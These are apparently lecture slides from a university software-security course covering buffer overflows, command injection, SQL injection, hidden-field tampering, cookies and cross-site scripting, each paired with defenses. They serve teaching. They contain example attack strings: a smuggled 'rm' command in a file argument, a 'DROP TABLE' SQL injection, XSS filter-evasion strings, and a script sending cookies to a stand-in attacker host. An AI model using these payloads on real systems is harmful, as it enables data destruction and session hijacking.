

Software Security

Building Security in

CMSC330 Summer 2021

Security breaches

- TJX (2007) 94 million records*
- Adobe (2013) 150 million records, 38 million users
- eBay (2014) 145 million records
- Equifax (2017) 148 millions consumers
- Yahoo (2013) 3 billion user accounts
- Twitter (2018) 330 million users
- First American Financial Corp (2019) 885 million users
- Anthem (2014) Records of 80 million customers
- Target (2013) 110 million records
- Heartland (2008) 160 million records











*containing SSNs, credit card nums, other private info

https://www.oneid.com/7-biggest-security-breaches-of-the-past-decade-2/

2017 Equifax Data Breach



- 148 million consumers' personal information stolen
- They collect every details of your personal life
 Your SSN, Credit Card Numbers, Late Payments...
- You did not sign up for it
- You cannot ask them to stop collecting your data
- You have to pay to credit freeze/unfreeze

Vulnerabilities: Security-relevant Defects

- The causes of security breaches are varied, but many of them owe to a defect (or bug) or design flaw in a targeted computer system's software.
- Software defect (bug) or design flaw can be exploited to affect an undesired behavior



Defects and Vulnerabilities

- The use of software is growing
 - So: more bugs and flaws
- Software is large (lines of code)
 - Boeing 787: 14 million
 - Chevy volt: 10 million
 - · Google: 2 billion
 - Windows: 50 million
 - · Mac OS: 80 million
 - F35 fighter Jet: 24 million





Program testing can show that a program has no bugs.

A. TrueB. False



Program testing can show that a program has no bugs.

A. TrueB. False

Program testing can be used to show the presence of bugs, but never to show their absence!

--Edsger Dijkstra

In this Lecture

- The basics of threat modeling.
- Two kinds of *exploits*: **buffer overflows** and **command injection**.
- Two kinds of *defense*: type-safe programming languages, and input validation.

You will learn more in CMSC414, CMSC417, CMSC456

Considering Correctness

- All software is buggy, isn't it? Haven't we been dealing with this for a long time?
- A normal user never sees most bugs, or figures out how to work around them
- Therefore, companies fix the most likely bugs, to save money

Exploit the Bug

- A typical interaction with a bug results in a crash
- An attacker is not a normal user!
 - The attacker will actively attempt to find defects, using unusual interactions and features
- An attacker will work to exploit the bug to do **much worse**, to achieve his goals





- Sergey Vladimirovich Detistov
- Pavel Valervey







to Commit Computer Fraud: Accessing a Computer Without Authorization for rcial Advantage and Private Financial Gain; Damaging Computers Through the Transmission of C mumands; Aggravated Identity Theft; Economic Espionage; Theft of Trade Secrets





SUN KAILIANG Aliases: Sun Kai Liang, Jack Sun



WEN XINYI Aliases: Wen Xin Yu, "WinXYHa "Win XY", Lao Wer



Exploitable Bugs

- Many kinds of exploits have been developed over time, with technical names like
 - Buffer overflow
 - · Use after free
 - Command injection
 - SQL injection
 - · Privilege escalation
 - Cross-site scripting
 - Path traversal

Buffer Overflow

 A buffer overflow describes a family of possible exploits of a vulnerability in which a program may incorrectly access a buffer outside its allotted bounds.



- A buffer overwrite occurs when the out-ofbounds access is a write.
- A buffer overread occurs when the access is a read.

Example: Out-of-Bounds Read/write in C

```
#include <stdio.h>
   void incr_arr(int *x, int len, int i) {
     if (i >= 0 && i < len) {
        x[i] = x[i] + 1;
        incr_arr(x,len,i+1);
     }
    }
   int y[10] = \{1, 1, 1, 1, 1, 1, 1, 1, 1, 1\};
    int z = 20;
   int main(int argc, char **argv) {
     incr_arr(y,11,0);
     printf("%d =? 20\n",z);
     return 0;
17
```

Output: 21 =? 20

The value of z changed from 20 to 21. Why?

Example: Out-of-Bounds Read/write in C

```
#include <stdio.h>
void incr_arr(int *x, int len, int i) {
 if (i >= 0 && i < len) {
    x[i] = x[i] + 1;
    incr_arr(x,len,i+1);
 }
}
int y[10] = \{1, 1, 1, 1, 1, 1, 1, 1, 1, 1\};
int z = 20;
int main(int argc, char **argv) {
 incr_arr(y,11,0);
 printf("%d =? 20\n",z);
 return 0;
```

```
Output: 21 =? 20
```

- array y has length 10
- but the second argument of incr_arr is 11, which is one more than it should be.
- As a result, line 5 will be allowed to read/write past the end of the array.



Example: Out-of-Bounds Read/write in OCaml

Consider the same program, written in OCaml

```
1 let rec incr_arr x i len =
2 if i >= 0 && i < len then
3 (x.(i) <- x.(i) + 1;
4 incr_arr x (i+1) len)
5 ;;
6
7 let y = Array.make 10 1;;
8 incr_arr y 0 (1 + Array.length y);;</pre>
```

Exception: Invalid_argument "index out of bounds".

• OCaml detects the attempt to write one past the end of the array and signals by throwing an exception.

Exploiting a Vulnerability





If an attacker can force the argument to be 11 (or more), then he can trigger the bug.

Quiz 2

If you declare an array as int a[100]; in C and you try to write 5 to a[i], where i happens to be 200, what will happen?

- A. Nothing
- B. The C compiler will give you an error and won't compile
- C. There will always be a runtime error
- D. Whatever is at a[200] will be overwritten

Quiz 2

If you declare an array as int a[100]; in C and you try to write 5 to a[i], where i happens to be 200, what will happen?

- A. Nothing
- B. The C compiler will give you an error and won't compile
- C. There will always be a runtime error
- D. Whatever is at a[200] will be overwritten

What Can Exploitation Achieve?

Buffer Overread: Heartbleed

- Heartbleed is a bug in the popular, opensource OpenSSL codebase, part of the HTTPS protocol.
- The attacker can read the memory beyond the buffer, which could contain secret keys or passwords, perhaps provided by previous clients



What Can Exploitation Achieve?

Buffer Overwrite: Morris Worm



What happened?

- For C/C++ programs
 - · A buffer with the password could be a local variable
- Therefore
 - The attacker's input (includes machine instructions) is too long, and overruns the buffer
 - The overrun rewrites the return address to point into the buffer, at the machine instructions
 - When the call "returns" it executes the attacker's code



Which kinds of operation is most likely to *not* lead to a buffer overflow in C?

- A. Floating point addition
- B. Indexing of arrays
- C. Dereferencing a pointer
- D. Pointer arithmetic



Which kinds of operation is most likely to *not* lead to a buffer overflow in C?

- A. Floating point addition
- B. Indexing of arrays
- C. Dereferencing a pointer
- D. Pointer arithmetic

Code Injection

- Attacker tricks an application to treat attacker-provided data as code
- This feature appears in many other exploits too
 - SQL injection treats data as database queries
 - Cross-site scripting treats data as Javascript commands
 - Command injection treats data as operating system commands
 - Use-after-free can cause stale data to be treated as code
 - Etc.

Use After Free (bug, no exploit)

```
#include <stdlib.h>
   struct list {
      int v;
      struct list *next;
   };
   int main() {
      struct list *p = malloc(sizeof(struct list));
      p -> v = 0:
      p \rightarrow next = 0;
      free(p); // deallocates p
      int *x = malloc(sizeof(int)*2); // reuses p's old memory
11
      x[0] = 5; // overwrites p > v
      x[1] = 5; // overwrites p->next
      p = p->next; // p is now bogus
      p \rightarrow v = 2; // CRASH!
      return 0;
   }
```

Trusting the Programmer?

- Buffer overflows rely on the ability to read or write outside the bounds of a buffer
- Use-after-free relies on the ability to keep using freed memory once it's been reallocated
- C and C++ programs expect the programmer to ensure this never happens
 - · But humans (regularly) make mistakes!



Jim Hague's IOCCC winner program

Defense: Type-safe Languages

- Type-safe Languages (like Python, OCaml, Java, etc.) ensure buffer sizes are respected
 - Compiler inserts checks at reads/writes. Such checks can halt the program. But will prevent a bug from being exploited
 - Garbage collection avoids the use-after-free bugs. No object will be freed if it could be used again in the future.

Why Is Type Safety Helpful?

- Type safety ensures two useful properties that preclude buffer overflows and other memory corruption-based exploits.
 - Preservation: memory in use by the program at a particular type T always has that type T.
 - Progress: values deemed to have type T will be usable by code expecting to receive a value of that type
- To ensure preservation and progress implies that only non-freed buffers can only be accessed within their allotted bounds, precluding buffer overflows.
 - Overwrites breaks preservation
 - Overreads could break progress
 - · Uses-after-free could break both



Applications developed in the programming languages ______are susceptible to buffer overflows and usesafter-free.

- A. Ruby, Python
- B. Ocaml, Haskell
- C. C, C++
- D. Rust, C#



Applications developed in the programming languages ______are susceptible to buffer overflows and usesafter-free.

- A. Ruby, Python
- B. Ocaml, Haskell
- C. C, C++
- D. Rust, C#

Costs of Ensuring Type Safety

• Performance

 Array Bounds Checks and Garbage Collection add overhead to a program's running time.

• Expressiveness

- C casts between different sorts of objects, e.g., a struct and an array.
 - Need casting in System programming
- This sort of operation -- cast from integer to pointer -- is not permitted in a type safe language.

Command Injection

- A type-safe language will rule out the possibility of buffer overflow exploits.
- Unfortunately, type safety will not rule out all forms of attack
 - Command Injection: (also known as shell injection) is a security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application.

What's wrong with this Ruby code?

catwrapper.rb:

```
if ARGV.length < 1 then
   puts "required argument: textfile path"
   exit 1
end
# call cat command on given argument
system("cat "+ARGV[0])
exit 0</pre>
```

Possible Interaction

> ls

catwrapper.rb hello.txt

> ruby catwrapper.rb hello.txt
Hello world!

> ruby catwrapper.rb catwrapper.rb
if ARGV.length < 1 then
puts "required argument: textfile path"</pre>

> ruby catwrapper.rb "hello.txt; rm hello.txt"
Hello world!

> ls

. . .

catwrapper.rb

What Happened?

catwrapper.rb:

```
if ARGV.length < 1 then
   puts "required argument: textfile path"
   exit 1
end
# call cat command on given argument
system("cat "+ARGV[0])
exit 0
</pre>
```

When could this be bad?



catwrapper.rb as a web service
Consequences

- If catwrapper.rb is part of a web service
 - Input is untrusted could be anything
 - But we only want requestors to read (see) the contents of the files, not to do anything else
 - · Current code is too powerful: vulnerable to

command injection

• How to fix it?

Need to validate inputs

https://www.owasp.org/index.php/Command_Injection

Defense: Input Validation

- Inputs that could cause our program to do something illegal
- Such atypical inputs are more likely when an untrusted adversary is providing them

We must validate the client inputs before we trust it

- Making input trustworthy
 - Sanitize it by modifying it or using it it in such a way that the result is correctly formed by construction
 - Check it has the expected form, and reject it if not

"Press any key to continue"



Checking: Blacklisting

Reject strings with possibly bad chars: '; --

```
if ARGV[0] =~ /;/ then
   puts "illegal argument"
   exit 1
else
   system("cat "+ARGV[0])
end
```

```
reject
inputs that
have ; in them
```

> ruby catwrapper.rb "hello.txt; rm hello.txt"
illegal argument

Sanitization: Blocklisting

• Delete the characters you don't want: ' ; --

```
system("cat "+ARGV[0].tr(";",""))
```

delete occurrences of ; from input string

> ruby catwrapper.rb "hello.txt; rm hello.txt"
Hello world!
cat: rm: No such file or directory
Hello world!
> ls hello.txt
hello.txt

Sanitization: Escaping

- Replace problematic characters with safe ones
 - · change ' to \'
 - change ; to $\;$
 - · change to $\ -$
 - change \ to \ \
- Which characters are problematic depends on the interpreter the string will be handed to
 - · Web browser/server for URIs
 - URI::escape(str,unsafe_chars)
 - Program delegated to by web server
 - CGI::escape(str)

Sanitization: Escaping

```
def escape_chars(string)
   pat = /(\'|\"|\.|\*|\/|\-|\\|;|\||\s)/
   string.gsub(pat){|match|"\\" + match}
end
```

escape occurrences of ', "", ; etc. in input string

system("cat "+escape_chars(ARGV[0]))

> ruby catwrapper.rb "hello.txt; rm hello.txt"
cat: hello.txt; rm hello.txt: No such file or directory
> ls hello.txt
hello.txt

Checking: Safelisting

- Check that the user input is known to be safe
 - E.g., only those files that exactly match a filename in the current directory
- Rationale: Given an invalid input, safer to reject than to fix
 - "Fixes" may result in wrong output, or vulnerabilities
 - Principle of fail-safe defaults

Checking: Safelisting

files = Dir.entries(".").reject{|f| File.directory?(f)}

```
if not (files.member? ARGV[0]) then
   puts "illegal argument"
   exit 1
else
   system("cat "+ARGV[0])
end
```

reject inputs that do not mention a legal file name

> ruby catwrapper.rb "hello.txt; rm hello.txt"
illegal argument

Validation Challenges

Cannot always delete or sanitize problematic characters

- You may want dangerous chars, e.g., "Peter O'Connor"
- How do you know if/when the characters are bad?
- · Hard to think of all of the possible characters to eliminate
- Cannot always identify safelist cheaply or completely
 - May be expensive to compute at runtime
 - May be hard to describe (e.g., "all possible proper names")



Software Security

Part II: Web Security

CMSC330 Spring 2021

WWW Security

- Security for the World-Wide Web (WWW) presents new vulnerabilities to consider:
 - SQL injection

٠

- Cross-site Scripting (XSS)
- These share some common causes with memory safety vulnerabilities; like **confusion of code and data**
 - Defense also similar: validate untrusted input
- New wrinkle: Web 2.0's use of mobile code
 - How to protect your applications and other web resources?

The Internet



(Much) user data is part of the browser

FS/DB is a separate entity, logically (and often physically)

The World Wide Web (WWW)



Interacting with web servers

Resources which are identified by a URL

(Universal Resource Locator)



Here, the file delete.php is dynamic content. i.e., the server generates the content on the fly

HyperText Transfer Protocol (HTTP)



- Requests contain:
 - The URL of the resource the client wishes to obtain
 - · Headers describing what the browser can do
- Request types can be GET or POST
 - GET: retrieves data, most of it in URL itself (no server side effects)
 - **POST**: provides data as separate fields (can have side effects)

HTTP GET Requests

http://www.reddit.com/r/security

HTTP Headers
http://www.reddit.com/r/security
GET /r/security HTTP/1.1
Host: www.reddit.com
User-Agent Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie:utma=55650728.562667657.1392711472.1392711472.1392711472.1;utmb=55650728.1.10.1392711472;utmc=55650

User-Agent is typically a **browser**, but it can be wget, JDK, etc.

Referrer



HTTP Headers

http://www.zdnet.com/worst-ddos-attack-of-all-time-hits-french-site-7000026330/

```
GET /worst-ddos-attack-of-all-time-hits-french-site-7000026330/ HTTP/1.1
Host: www.zdnet.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referrer: http://www.reddit.com/r/security
Referer: http://www.reddit.com/r/security
```

HTTP POST Requests

Posting on Piazza

HTTP Headers	
https://piazza.com/logic/api?method=content.create&aid=hrteve7t83et	Implicitly includes data
POST /logic/api ?method=content.create&aid=hrteve7t83et HTTP/1.1 Host: piazza.com	as a part of the URL
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubu	ntu/9.04 (jaunty) Firefox/3.6.11
Accept: application/json, text/javascript, */*; q=0.01	
Accept-Language: en-us,en;q=0.5	
Accept-Encoding: gzip,deflate	
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7	
Keep-Alive: 115	
Connection: keep-alive	
Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest	
Referer: https://piazza.com/class	
Content-Length: 339	
Cookie: piazza session="DFwuCEFIGvEGwwHLlyuCvHIGtHKECCKL.5%25x+x+ux%2	255M5%22%215%3F5%26x%26%26%7C%22%21r
Pragma: no-cache	
Cache-Control: no-cache	
{"method":"content.create","params":{"cid":"hrpng9q2nndos","subject":"Inte	resting perhaps it has to do with a change to the

Explicitly includes data as a part of the request's content

HyperText Transfer Protocol (HTTP)



- **Responses** contain:
 - Status code
 - Headers describing what the server provides
 - · Data
 - Cookies (much more on these later)
 - Represent state the server would like the browser to store on its behalf

HTTP Responses



Relational Databases & Stable Storage







• SQL injection is a code injection attack that aims to steal or corrupt information kept in a server-side database.



Data as Tables

• A relational database organizes information as tables of records.



SQL (Standard Query Language)

SELECT Age FROM Users WHERE Name= 'Dee'; 28

UPDATE Users SET email=`readgood@pp.com'
WHERE Age=32; -- this is a comment

INSERT INTO Users Values('Frank', 'M', 57, ...);
DROP TABLE Users;

Web Server SQL Queries

Website

Username:	Password:	Log me on automatically each visit \Box	Log in

```
"Login code" (Ruby)
```

```
result = db.execute "SELECT * FROM Users
WHERE Name='#{user}' AND Password='#{pass}';"
```

Suppose you successfully log in as user if this returns any results

How could you exploit this?

SQL injection



result = db.execute "SELECT * FROM Users
WHERE Name='#{user}' AND Password='#{pass}';"



SQL injection



result = db.execute "SELECT * FROM Users
WHERE Name='#{user}' AND Password='#{pass}';"

```
result = db.execute "SELECT * FROM Users
WHERE Name='frank' OR 1=1;
DROP TABLE Users; --' AND Password='whocares';";
```

Can chain together statements with semicolon: STATEMENT 1 ; STATEMENT 2

SQL injection



http://xkcd.com/327/



The Underlying Issue

result = db.execute ``SELECT * FROM Users
 WHERE Name=`#{user}' AND Password=`#{pass}';"

- This one string combines the code and the data
 - · Similar to buffer overflows
 - · and command injection

When the boundary between code and data blurs, we open ourselves up to vulnerabilities

The Underlying Issue

result = db.execute ``SELECT * FROM Users
 WHERE Name=`#{user}' AND Password=`#{pass}';"

Intended AST for parsed SQL query



Defense: Input Validation

Just as with command injection, we can defend by **validating input**, e.g.,

- **Reject** inputs with bad characters (e.g.,; or --)
- Remove those characters from input
- **Escape** those characters (in an SQL-specific manner)

These can be effective, but the best option is to **avoid constructing programs from strings** in the first place

Sanitization: Prepared Statements

- Treat user data according to its type
 - · Decouple the code and the data



Using Prepared Statements

stmt = db.prepare("SELECT * FROM Users WHERE Name = ? AND Password = ?")
result = stmt.execute(user, pass)



Advantages Prepared Statement

- The overhead of compiling the statement is incurred only once, although the statement is executed multiple times.
 - Execution plan can be optimized
- Prepared statements are resilient against <u>SQL injection</u>
 - Statement template is not derived from external input. Therefore, SQL injection cannot occur.
 - · Values are transmitted later using a different protocol.

Quiz 1

What is the benefit of using "prepared statements" ?

- A. With them it is easier to construct a SQL query
- B. They provide greater protection than escaping or filtering
- C. They ensure user input is parsed as data, not (potentially) code
- D. User input is properly treated as commands, rather than as secret data like passwords
What is the benefit of using "prepared statements" ?

- A. With them it is easier to construct a SQL query
- B. They provide greater protection than escaping or filtering
- C. They ensure user input is parsed as data, not (potentially) code
- D. User input is properly treated as commands, rather than as secret data like passwords

Threat Modeling

In order to ensure your application is sufficiently resilient to attack, you need to think about what attacks are possible

This is a process called **threat modeling**. It requires thinking about what your adversary can do. Three examples:

- Malicious client
- Interception
- Passing the buck

Malicious Clients



- Server needs to protect itself against malicious clients
 - Won't run the software the server expects (e.g., non-standard browser)
 - Will probe the limits of the interface (e.g., **SQL Injection!**)



- **Calls** to remote services could be **intercepted** by an adversary
 - **Snoop** on inputs/outputs
 - Corrupt inputs/outputs
- Avoid this possibility using cryptography (CMSC 414, CMSC 456)

Passing the Buck



- Server needs to protect good clients from malicious clients that will try to launch attacks via the server
 - Corrupt the server state (e.g., uploading malicious files or code)
 - Good client interaction affected as a result (e.g., getting the malware)

Back to the WWW ...

HTTP is Stateless

- The lifetime of an HTTP session is typically:
 - · Client connects to the server
 - Client issues a request
 - Server responds
 - Client issues a request for something in the response
 - repeat
 - Client disconnects
- HTTP has no means of noting "oh this is the same client from that previous session"
 - How is it you don't have to log in at every page load?

Maintaining State



- Web application maintains ephemeral state
 - Server processing often produces intermediate results
 - Not ACID, long-lived state
 - Send such state to the client
 - Client returns the state in subsequent responses

Two kinds of state: hidden fields, and cookies

socks.com/order.php



socks.com/pay.php



Separate page

What's sent to the client, presented to the user

```
pay.php
<html>
<head> <title>Pay</title> </head>
<body>
<form action="submit order" method="GET">
The total cost is $5.50. Confirm order?
<input type="hidden" name="price" value="5.50">
<input type="submit" name="pay" value="yes">
<input type="submit" name="pay" value="no">
</body>
</html>
```

The corresponding server processing

if(pay == yes && price != NULL)
{
 bill_creditcard(price);
 deliver_socks();
}
else
 display transaction cancelled page();



Server needs to protect itself against malicious clients
 Won't run the software the server expects (e.g., non-standard browser)
 Will probe the limits of the interface (e.g., SQL Injection!)

What's sent to the client, presented to the user

```
<html>
                                     Client can change
<head> <title>Pay</title> </head>
                                     the value!
<body>
<form action="submit order" method="GET">
The total cost is $5.50. Confirm order?
<input type="hidden" name="price" value="0.01" >
<input type="submit" name="pay" value="yes">
<input type="submit" name="pay" value="no">
</bodv>
</html>
```

Solution: Capabilities

- Server maintains *trusted* state (while client maintains the rest)
 - Server stores intermediate state
 - · Send a capability to access that state to the client
 - · Client references the capability in subsequent responses
- Capabilities should be large, random numbers, so that they are hard to guess
 - · To prevent illegal access to the state

Using capabilities

What's presented to the user

```
Capability;
<html>
                                       the system will
<head> <title>Pay</title> </head>
                                       detect a change and
<body>
                                       abort
<form action="submit order" method="GET">
The total cost is $5.50. Confirm order?
<input type="hidden" name="sid" value="781234">
<input type="submit" name="pay" value="yes">
<input type="submit" name="pay" value="no">
</body>
</html>
```

Using capabilities

The corresponding backend processing

```
price = lookup(sid);
if(pay == yes && price != NULL)
{
    bill_creditcard(price);
    deliver_socks();
}
else
    display transaction cancelled page();
```

But: we don't want to pass hidden fields around all the time

- Tedious to add/maintain on all the different pages
- Have to start all over on a return visit (after closing browser window)

Statefulness with Cookies



- Server maintains trusted state
 - Server indexes/denotes state with a cookie
 - · Sends cookie to the client, which stores it
 - · Client returns it with subsequent queries to that same serve

Cookies are key-value pairs

Set-Cookie:key=value; options;

- 1	HTTP/1.1 200 OK
	Date: Tue, 18 Feb 2014 08:20:34 GMT
	Server: Apache
	Set-Cookie: session-zdnet-production=6bhqca1i0cbciagu11sisac2p3; path=/; domain=zdnet.com
	Set-Cookie: zdregion=MTI5LjIuMTI5LjE1Mzp1czp1czpjZDJmNWY5YTdkODU1N2Q2YzM5NGU3M2Y1ZTRmN
	Set-Cookie: zdregion=MTI5LiIuMTI5LiE1Mzp1czp1czpiZDImNWY5YTdkODU1N2O2YzM5NGU3M2Y1ZTRmN
	Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com
	Set-Cookie: session-zdnet-production=59ob97fpinqe4bg6lde4dvvq11; path=/; domain=zdnet.com
ົ	Set-Cookie: user_agent=desktop
	Set-Cookie: zdnet_ad_session=f
neagers	Set-Cookie: firstpg=0
σ	Expires: Thu, 19 Nov 1981 08:52:00 GMT
U I	Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
	Pragma: no-cache
	X-UA-Compatible: IE=edge,chrome=1
	Vary: Accept-Encoding
	Content-Encoding: gzip
	Content-Length: 18922
	Keep-Alive: timeout=70, max=146
	Connection: Keep-Alive
	Content-Type: text/html; charset=UTF-8
σ	
ara	<html> </html>
ň l	

Cookies



Requests with cookies

HTTP/1.1 200 OK Date: Tue, 18 Feb 2014 08:20:34 GMT Server: Apache Set-Cookie: session-zdnet-production=6bhqca1i0cbciagu11sisac2p3; path=/; domain=zdnet.com Set-Cookie: zdregion=MTI5LjIuMTI5LjE1Mzp1czp1czpjZDJmNWY5YTdkODU1N2Q2YzM5NGU3M2Y1ZTRmN0 Set-Cookie: zdregion=MTI5LjIuMTI5LjE1Mzp1czp1czpjZDJmNWY5YTdkODU1N2Q2YzM5NGU3M2Y1ZTRmN0 Set-Cookie: edition=us; expires=Wed, 18-Feb-2015 08:20:34 GMT; path=/; domain=.zdnet.com Set-Cookie: session-zdnet-production=59ob97fpinqe4bg6lde4dvvq11; path=/; domain=zdnet.com

Subsequent visit

HTTP Headers

http://zdnet.com/

GET / HTTP/1.1 Host: zdnet.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Cookie: session-zdnet-production=59ob97fpinge4bg6lde4dvvq11 zdregion=MTI5LjIuMTI5LjE1Mzp1czp1czpjZDJmNW



What is a web cookie?

A. A hidden field in a web form

- B. A piece of state generated by the client to index state stored at the server
- C. A key/value pair sent with all web requests to the cookie's originating domain

D. A yummy snack



What is a web cookie?

A. A hidden field in a web form

- B. A piece of state generated by the client to index state stored at the server
- C. A key/value pair sent with all web requests to the cookie's originating domain

D. A yummy snack

Cookies and Web Authentication

- An *extremely common* use of cookies is to track users who have already authenticated
- If the user already visited http://website.com/login.html?user=alice&pass=secret with the correct password, then the server associates a "session cookie" with the logged-in user's info
- Subsequent requests include the cookie in the request headers and/or as one of the fields: http://website.com/doStuff.html?sid=81asf98as8eak
- The idea is to be able to say "I am talking to the same browser that authenticated Alice earlier."

Cookie Theft

- Session cookies are, once again, capabilities
 - The holder of a session cookie gives access to a site with the privileges of the user that established that session
- Thus, stealing a cookie may allow an attacker to impersonate a legitimate user
 - · Actions that will seem to be due to that user
 - · Permitting theft or corruption of sensitive data



Dynamic Web Pages

• Rather than static or dynamic HTML, web pages can be expressed as a program written in Javascript:

```
<html><body>
Hello, <b>
<script>
var a = 1;
var b = 2;
document.write("world: ", a+b, "</b>");
</script>
</body></html>
```

•••	🗋 foo.html 🛛 🗙 💭	R.
← → C	٩	④ ♀ ≡

Hello, world: 3

Javascript



- Powerful web page programming language
 Enabling factor for so-called Web 2.0
- Scripts are embedded in web pages returned by the web server
- Scripts are **executed by the browser**. They can:
 - Alter page contents (DOM objects)
 - Track events (mouse clicks, motion, keystrokes)
 - Issue web requests & read replies
 - Maintain persistent connections (AJAX)
 - Read and set cookies

What could go wrong?

- Browsers need to confine Javascript's power
- A script on attacker.com should not be able to:
 - Alter the layout of a bank.com web page
 - Read keystrokes typed by the user while on a bank.com web page
 - Read cookies belonging to bank.com

Same Origin Policy

- Browsers provide isolation for javascript scripts via the Same Origin Policy (SOP)
- Browser associates web page elements...
 - Layout, cookies, events
- ...with a given origin
 - The hostname (bank.com) that provided the elements in the first place

SOP =

<u>only</u> scripts received from a web page's origin have access to the page's elements

Cookies and SOP



Cross-site scripting (XSS)



The US Computer Emergency Response Team (CERT) has issued a warning alerting businesses of a flaw in Huawei's popular E355 wireless broadband modem that could be

"Huawei E355 wireless broadband modems include a web interface for administration and additional services. The web interface allows users to receive SMS messages using the connected cellular network," explained the advisory.

"The web interface is vulnerable to a stored cross-site scripting vulnerability. The vulnerability can be exploited if a victim views SMS messages that contain JavaScript using the web interface. A malicious attacker may be able to execute arbitrary script in the context of the victim's browser."

Huawei has prepared a fixing plan and started the development and test of fixed versions. Huawei will update the Security Notice if any progress is made," read the advisory.

FireEye director of technology strategy Jason Steer told V3 hackers could use the flaw for a variety of purposes. "Is it bad? Yes, XSS is a high-severity software flaw, because of its prevalence and its ability be used by attackers to trick users into giving away sensitive information such as session cookies," he said.

"By allowing hostile JavaScript to be executed in a user's browser they can do a number of things. The most popular things are performing account takeovers to steal money, goods and website defacement. If you could get an admin account then you can start changing

XSS: Subverting the SOP

- Site attacker.com provides a malicious script
- Tricks the user's browser into believing that the script's origin is bank.com
 - · Runs with bank.com's access privileges

- One general approach:
 - Trick the server of interest (<u>bank.com</u>) to actually send the attacker's script to the user's browser!
 - The browser will view the script as coming from the same origin... because it does!

Two types of XSS

- 1. Stored (or "persistent") XSS attack
 - Attacker leaves their script on the bank.com server
 - · The server later unwittingly sends it to your browser
 - Your browser, none the wiser, executes it within the same origin as the bank.com server

2. Reflected XSS attack

- Attacker gets you to send the bank.com server a URL that includes some Javascript code
- · bank.com echoes the script back to you in its response
- Your browser, none the wiser, executes the script in the response within the same origin as bank.com

Stored XSS attack



GET http://bank.com/transfer?amt=9999&to=attacker

Stored XSS Summary

- Target: User with *Javascript-enabled browser* who visits *user-influenced content* page on a vulnerable web service
- Attack goal: run script in user's browser with the same access as provided to the server's regular scripts (i.e., subvert the Same Origin Policy)
- Attacker tools: ability to leave content on the web server (e.g., via an ordinary browser).
 - Optional tool: a server for receiving stolen user information
- Key trick: Server fails to ensure that content uploaded to page does not contain embedded scripts

Remember Samy?

- Samy embedded Javascript program in his MySpace page (via stored XSS)
 - MySpace servers attempted to filter it, but failed
- Users who visited his page ran the program, which
 - made them friends with Samy;
 - displayed "but most of all, Samy is my hero" on their profile;
 - installed the program in their profile, so a new user who viewed profile got infected
- From 73 friends to 1,000,000 friends in 20 hours
 - Took down MySpace for a weekend

Reflected XSS attack



Echoed input

 The key to the reflected XSS attack is to find instances where a good web server will echo the user input back in the HTML response

Input from bad.com:

http://victim.com/search.php?term=socks

Result from victim.com:

```
<html> <title> Search results </title>
<body>
Results for socks :
. . .
</body></html>
```

Exploiting echoed input

Input from bad.com:

```
http://victim.com/search.php?term=
    <script> window.open(
        "http://bad.com/steal?c="
        + document.cookie)
        </script>
```

Result from victim.com:

```
<html> <title> Search results </title>
<body>
Results for <script> ... </script>
. . .
</body></html>
```

Browser would execute this within victim.com's origin

Reflected XSS Summary

- Target: User with Javascript-enabled browser who uses a vulnerable web service that includes parts of URLs it receives in the web page output it generates
- Attack goal: run script in user's browser with the same access as provided to the server's regular scripts
- Attacker tools: get user to click on a specially-crafted URL. Optional tool: a server for receiving stolen user information
- Key trick: Server does not ensure that it's output does not contain foreign, embedded scripts

How are XSS and SQL injection similar?

A. They are both attacks that run in the browserB. They are both attacks that run on the serverC. They both involve stealing private informationD. They both happen when user input, intended as data, is treated as code

How are XSS and SQL injection similar?

A. They are both attacks that run in the browser
B. They are both attacks that run on the server
C. They both involve stealing private information
D. They both happen when user input, intended as data, is treated as code

Reflected XSS attacks are typically spread by

- A. Buffer overflows
- B. Cookie injection 💮
- C. Server-side vulnerabilities
- D. Specially crafted URLs

Reflected XSS attacks are typically spread by

- A. Buffer overflows
- B. Cookie injection 💮
- C. Server-side vulnerabilities
- **D. Specially crafted URLs**

XSS Defense: Filter/Escape

- Typical defense is **sanitizing**: remove all executable portions of user-provided content that will appear in HTML pages
 - E.g., look for <script> ... </script> or <javascript> ... </javascript> from provided content and remove it
 - So, if I fill in the "name" field for Facebook as
 <script>alert(0) </script> then the script tags are removed
- Often done on blogs, e.g., WordPress

https://wordpress.org/plugins/html-purified/

Problem: Finding the Content

- Bad guys are inventive: *lots* of ways to introduce Javascript; e.g., CSS tags and XML-encoded data:
 - <div style="background-image: url(javascript:alert('JavaScript'))">...</div >
 - <XML ID=I><X><C><![CDATA[<![CDATA[cript:alert('XSS');">]]
 >
- Worse: browsers "helpful" by parsing broken HTML!
- Samy figured out that IE permits javascript tag to be split across two lines; evaded MySpace filter
 - Hard to get it all

Better defense: Safe list

- Instead of trying to sanitize, ensure that your application validates all
 - headers,
 - cookies,
 - · query strings,
 - form fields, and
 - hidden fields (i.e., all parameters)
- ... against a rigorous spec of what should be allowed.
